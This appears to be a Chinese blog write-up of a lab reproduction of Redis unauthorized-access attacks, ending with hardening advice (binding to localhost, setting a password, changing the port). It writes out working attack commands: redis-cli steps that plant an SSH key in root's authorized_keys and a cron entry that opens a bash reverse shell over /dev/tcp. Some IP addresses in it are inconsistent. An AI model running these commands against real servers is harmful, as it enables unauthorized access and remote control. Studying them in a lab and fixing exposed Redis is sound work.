目錄
- 漏洞原理
- 複現
-
- 環境
- 利用
-
- 利用redis未授權通路寫入weshell
- 利用redis未授權修改ssh公鑰
- redis未授權通路-計劃任務反彈shell
- redis<=5.0.5 主從複制RCE
- 修複
- 參考
漏洞原理
Redis 預設情況下,會綁定在 0.0.0.0:6379,如果沒有進行采用相關的政策,比如添加防火牆規則避免其他非信任來源 ip 通路等,這樣将會将 Redis 服務暴露到公網上,如果在沒有設定密碼認證(一般為空)的情況下,會導緻任意使用者在可以通路目标伺服器的情況下未授權通路 Redis 以及讀取 Redis 的資料。
攻擊者在未授權通路 Redis 的情況下,利用 Redis 自身的提供的config 指令,可以進行寫檔案操作,攻擊者可以成功将自己的ssh公鑰寫入目标伺服器的 /root/.ssh 檔案夾的authotrized_keys 檔案中,進而可以使用對應私鑰直接使用ssh服務登入目标伺服器。
(1)redis綁定在 0.0.0.0:6379,且沒有進行添加防火牆規則避免其他非信任來源ip通路等相關安全政策,直接暴露在公網;
(2)沒有設定密碼認證(一般為空),可以免密碼遠端登入redis服務。
複現
環境
主機 | ip |
---|---|
靶機:ubuntu20 | 192.168.237.138 |
攻擊機:kali2020 | 192.168.237.139 |
利用
利用redis未授權通路寫入weshell
靶機開放redis及web服務,攻擊機遠端通路靶機redis,通過其方式知道web目錄路徑(報錯等)寫入webshell。
![](https://img.laitimes.com/img/9ZDMuAjOiMmIsIjOiQnIsIyZuBnL1MjY1Y2Y0UmZxIDN3cDNhNjYhRDZ2Y2M4MzYmdDOiBzLc52YucWbp5GZzNmLn9Gbi1yZtl2Lc9CX6MHc0RHaiojIsJye.png)
成功getwebshell。
蟻劍連接配接。
利用redis未授權修改ssh公鑰
靶機上開啟ssh服務:service ssh start
ps -e | grep ssh
>>> ssh-keygen -t rsa //在本地主機生成密鑰key
>>> cd /root/.ssh
>>> (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
>>> cat /root/key.txt
>>> cat /root/key.txt | redis-cli -h 192.168.0.106 //将txt檔案中的公鑰導入Redis緩存
>>> cat /root/key.txt | redis-cli -h 192.168.0.106 –x set xxx //使用redis-cli -h ip指令連接配接靶機,将檔案寫入,-x 表示将标準輸入作為xxx的值
>>> redis-cli -h 192.168.0.106
>>> config set dir /root/.ssh
>>> config set dbfilename authorized_keys
>>> save
redis未授權通路-計劃任務反彈shell
set xx "\n* * * * * bash -i >& /dev/tcp/192.168.237.138/5555 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
但是ubuntu反彈是失敗,檢視一些資料說centos可以反彈成功,但是沒有centos環境,隻能有空在複現下了。
redis<=5.0.5 主從複制RCE
Redis未授權通路在4.x/5.0.5以前版本下,我們可以使用master/slave模式加載遠端子產品,通過動态連結庫的方式執行任意指令。
由于我ubuntu上的redis是2.x版本的,暫時複現不了。。後續再補充吧。
參考:https://vulhub.org/#/environments/redis/4-unacc/
修複
1、比較安全的辦法是采用綁定IP的方式來進行控制。
請在redis.conf檔案找到如下配置
# If you want you can bind a single interface, if the bind option is not
# specified all the interfaces will listen for incoming connections.
#
bind 127.0.0.1
2、設定密碼,以提供遠端登陸
打開redis.conf配置檔案,找到requirepass,然後修改如下
requirepass yourpassword
yourpassword就是redis驗證密碼,設定密碼以後發現可以登陸,但是無法執行指令了。 指令如下: redis-cli -h
yourIp -p yourPort//啟動redis用戶端,并連接配接伺服器 keys * //輸出伺服器中的所有key 報錯如下
(error) ERR operation not permitted 這時候你可以用授權指令進行授權,就不報錯了 指令如下:
auth youpassword
3、修改6379端口
參考
https://www.cnblogs.com/bmjoker/p/9548962.html